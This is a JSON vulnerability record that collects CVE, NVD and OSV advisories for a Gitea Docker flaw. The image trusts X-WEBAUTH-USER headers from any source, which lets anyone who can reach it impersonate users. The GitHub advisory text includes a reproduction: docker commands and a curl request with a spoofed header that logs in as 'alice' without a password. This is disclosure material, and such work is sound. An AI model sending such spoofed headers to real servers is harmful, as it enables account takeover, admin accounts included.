{"id":"GO-2026-6051","revision":null,"records":[{"revision":"6905864828a3494b89f66944c8654004","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-20896","aliases":[],"title":"Gitea Docker image trusts spoofable reverse-proxy headers by default","description":"Gitea Docker image versions up to and including 1.26.2 use REVERSE_PROXY_TRUSTED_PROXIES=* by default, allowing any source IP to impersonate a user when reverse-proxy authentication headers such as X-WEBAUTH-USER are enabled.","state":0,"publishedAt":"2026-07-03T20:19:29.588+00:00","modifiedAt":"2026-07-07T17:00:46.549+00:00","affected":[{"ecosystem":"Vendor product","name":"Gitea Open Source Git Server","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"defaultStatus\": \"unaffected\",\n                    \"product\": \"Gitea Open Source Git Server\",\n                    \"vendor\": \"Gitea\",\n                    \"versions\": [\n                        {\n                            \"lessThanOrEqual\": \"1.26.2\",\n                            \"status\": \"affected\",\n                            \"version\": \"0\",\n                            \"versionType\": \"semver\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"severity":"CRITICAL"}],"references":["https://github.com/go-gitea/gitea/security/advisories/GHSA-f75j-4cw6-rmx4","https://github.com/go-gitea/gitea/pull/38151","https://github.com/go-gitea/gitea/releases/tag/v1.26.3","https://blog.gitea.com/release-of-1.26.3-and-1.26.4/"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-20896","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-20896","identifiers":["CVE-2026-20896"]},"retained":false,"historicalAffected":[]},{"revision":"c0486e2e6b24490aba9d30bed2088dda","observedAt":"2026-10-27T06:23:27.268+00:00","statement":{"source":"nvd","id":"CVE-2026-20896","aliases":[],"title":"Gitea Docker image versions up to and including 1.26.2 use REVERSE_PROXY_TRUSTED_PROXIES=* by default, allowing any source IP to impersonate a user when reverse-proxy authentication headers such as X-WEBAUTH-USER are enabled.","description":"Gitea Docker image versions up to and including 1.26.2 use REVERSE_PROXY_TRUSTED_PROXIES=* by default, allowing any source IP to impersonate a user when reverse-proxy authentication headers such as X-WEBAUTH-USER are enabled.","state":0,"publishedAt":"2026-07-03T21:16:56.66+00:00","modifiedAt":"2026-10-25T15:10:00.147+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · 88ee5874-cf24-4952-aea0-31affedb7ff2 · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"severity":"CRITICAL"}],"references":["https://blog.gitea.com/release-of-1.26.3-and-1.26.4/","https://github.com/go-gitea/gitea/pull/38151","https://github.com/go-gitea/gitea/releases/tag/v1.26.3","https://github.com/go-gitea/gitea/security/advisories/GHSA-f75j-4cw6-rmx4"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-20896","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-284"],"productCriteria":[],"sourceDates":{"published":"2026-07-03T21:16:56.660","lastModified":"2026-10-25T15:10:00.147"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-20896","identifiers":["CVE-2026-20896"]},"retained":false,"historicalAffected":[]},{"revision":"a1f2c72cb75344b3a951ff02080304a5","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-f75j-4cw6-rmx4","aliases":["CVE-2026-20896","GO-2026-6051"],"title":"Gitea Docker image: `REVERSE_PROXY_TRUSTED_PROXIES = *` default lets any source IP impersonate any user via `X-WEBAUTH-USER`","description":"# Summary\n\nThe Gitea Docker images ship an `app.ini` template that hard-codes:\n\n```\nREVERSE_PROXY_TRUSTED_PROXIES = *\n```\n\nThe documented default for this setting, in `custom/conf/app.example.ini`, is `127.0.0.0/8,::1/128`, i.e. only loopback is trusted.\n\nWhen an admin enables `ENABLE_REVERSE_PROXY_AUTHENTICATION = true` to put Gitea behind an authenticating reverse proxy and leaves the trusted-proxies setting at \"the default\", they expect only the proxy's loopback connection to inject identity. The Docker image instead trusts `X-WEBAUTH-USER` from **any source IP** that can reach the container.\n\n## Affected\n\n- `gitea/gitea` Docker images (verified `1.26.2`)\n- `docker/root/etc/templates/app.ini:55`\n- `docker/rootless/etc/templates/app.ini:52`\n\nBinary distribution and self-built deployments that follow `app.example.ini` get the loopback-only default and are not affected.\n\n## Reproduction\n\n```\ndocker run -d --name g -p 3000:3000 \\\n  -e GITEA__service__ENABLE_REVERSE_PROXY_AUTHENTICATION=true \\\n  -e GITEA__security__INSTALL_LOCK=true \\\n  gitea/gitea:1.26.2\n\nsleep 15\ndocker exec --user git g gitea admin user create \\\n  --username alice --password \"longpasswordhere1234\" \\\n  --email alice@x.test --must-change-password=false\n\nNow the attack::\n\n\ncurl -s -L -H \"X-WEBAUTH-USER: alice\" http://localhost:3000/ \\\n  | grep -oE '<title>[^<]+</title>'\n```\n\nOutput: `<title>alice - Dashboard - Gitea: Git with a cup of tea</title>` — attacker is logged in as alice with one header, no password, no cookie.\n\nSame payload with `X-WEBAUTH-USER: <any_existing_username>` impersonates that user.\n\n## Impact\n\nAny process that can reach the Gitea container's HTTP port directly — not through the intended authenticating proxy — can impersonate any user whose login name is known or guessable. Admin accounts (`admin`, `gitea_admin`, etc.) are the obvious targets.","state":0,"publishedAt":"2026-07-21T20:28:58+00:00","modifiedAt":"2026-07-22T21:11:39.2896042+00:00","affected":[{"ecosystem":"Go","name":"code.gitea.io/gitea","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.26.3"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/go-gitea/gitea/security/advisories/GHSA-f75j-4cw6-rmx4","https://nvd.nist.gov/vuln/detail/CVE-2026-20896","https://github.com/go-gitea/gitea/pull/38151","https://github.com/go-gitea/gitea/commit/99f8b3d9a1d32f4c39828e07971455a18191e0b9","https://blog.gitea.com/release-of-1.26.3-and-1.26.4","https://github.com/go-gitea/gitea","https://github.com/go-gitea/gitea/releases/tag/v1.26.3"],"sourceUrl":"https://github.com/advisories/GHSA-f75j-4cw6-rmx4","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-f75j-4cw6-rmx4","identifiers":["GHSA-f75j-4cw6-rmx4","CVE-2026-20896","GO-2026-6051"]},"retained":false,"historicalAffected":[]},{"revision":"dbd3ed337f604724a5e021e5ed914e8d","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-6051","aliases":["CVE-2026-20896","GHSA-f75j-4cw6-rmx4"],"title":"Gitea Docker image: `REVERSE_PROXY_TRUSTED_PROXIES = *` default lets any source IP impersonate any user via `X-WEBAUTH-USER` in code.gitea.io/gitea","description":"Gitea Docker image: `REVERSE_PROXY_TRUSTED_PROXIES = *` default lets any source IP impersonate any user via `X-WEBAUTH-USER` in code.gitea.io/gitea","state":0,"publishedAt":"2026-07-22T20:36:35+00:00","modifiedAt":"2026-07-22T21:00:28.3360163+00:00","affected":[{"ecosystem":"Go","name":"code.gitea.io/gitea","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.26.3"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/go-gitea/gitea/security/advisories/GHSA-f75j-4cw6-rmx4","https://nvd.nist.gov/vuln/detail/CVE-2026-20896","https://blog.gitea.com/release-of-1.26.3-and-1.26.4","https://github.com/go-gitea/gitea/commit/99f8b3d9a1d32f4c39828e07971455a18191e0b9","https://github.com/go-gitea/gitea/pull/38151","https://github.com/go-gitea/gitea/releases/tag/v1.26.3"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-6051","license":"OSV · upstream source license applies","key":"osv:GO-2026-6051","identifiers":["GO-2026-6051","CVE-2026-20896","GHSA-f75j-4cw6-rmx4"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-10-27T14:13:13.4177888+00:00","complete":true,"records":1758,"lastAttemptAt":"2026-10-27T14:13:13.4177888+00:00","lastSuccessAt":"2026-10-27T14:13:13.5949436+00:00","error":null,"lastVerifiedAt":"2026-10-27T14:13:13.5949458+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-187d2b72c94ceb8c4417f1032ec3109a3a3a7b730abadb561d8cdd2a96e04d27-9dc13b3f7b54f4a1c758cc667a8847f14c07b9dc77a0702cd6d84d192294dcee","complete":true,"records":414999,"lastAttemptAt":"2026-10-27T14:09:37.4569013+00:00","lastSuccessAt":"2026-10-27T14:09:37.3877703+00:00","error":null,"lastVerifiedAt":"2026-10-27T14:09:37.4569013+00:00","snapshotPublishedAt":"2026-10-27T13:29:52+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-43321610382942b8ad8c85917eab1546","complete":false,"records":4735,"lastAttemptAt":"2026-10-27T14:13:43.3397632+00:00","lastSuccessAt":"2026-10-24T23:18:49.862+00:00","error":"InvalidDataException","lastVerifiedAt":"2026-10-24T23:18:49.862+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":0,"expectedIdentifiers":13482},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-10-27T14:13:13.4177888+00:00","complete":true,"records":1093,"lastAttemptAt":"2026-10-27T14:13:13.4177888+00:00","lastSuccessAt":"2026-10-27T14:13:13.5957761+00:00","error":null,"lastVerifiedAt":"2026-10-27T14:13:13.5957765+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-4f75cace235944cf962b1f2ff87d354c","complete":false,"records":13419,"lastAttemptAt":"2026-10-27T14:13:41.3007775+00:00","lastSuccessAt":"2026-10-27T14:13:41.296+00:00","error":null,"lastVerifiedAt":"2026-10-27T14:13:41.296+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13480,"expectedIdentifiers":13482},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-3a2c3758b535f79c22104be560d4f9ec6117186481863e12c25eb3c2f0883a63","complete":true,"records":9780,"lastAttemptAt":"2026-10-27T14:13:13.2664331+00:00","lastSuccessAt":"2026-10-27T14:13:13.0026956+00:00","error":null,"lastVerifiedAt":"2026-10-27T14:13:13.2664331+00:00","snapshotPublishedAt":"2026-10-27T13:48:42+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-bad5d31e7f6a5e3d338e11d8789069b63620a403f927730769688b42f768e4f6","complete":true,"records":1965,"lastAttemptAt":"2026-10-27T14:09:37.6087582+00:00","lastSuccessAt":"2026-10-26T16:35:43.1460623+00:00","error":null,"lastVerifiedAt":"2026-10-27T14:09:37.6087582+00:00","snapshotPublishedAt":"2026-10-26T16:18:29+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-112103ad2640f03b274c0e731c3f4398f99b844297f2e68d520aeec5561d6df2","complete":true,"records":2997,"lastAttemptAt":"2026-10-27T14:13:13.3777521+00:00","lastSuccessAt":"2026-10-27T11:11:56.4872351+00:00","error":null,"lastVerifiedAt":"2026-10-27T14:13:13.3777521+00:00","snapshotPublishedAt":"2026-10-27T10:33:05+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-acba005f5a2be8a7838a7f9129a9b9702c7c598829a3f2d2603cc64a3d53b487","complete":true,"records":230815,"lastAttemptAt":"2026-10-27T14:13:01.0754572+00:00","lastSuccessAt":"2026-10-27T14:12:59.4154681+00:00","error":null,"lastVerifiedAt":"2026-10-27T14:13:01.0754572+00:00","snapshotPublishedAt":"2026-10-27T13:48:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null}]}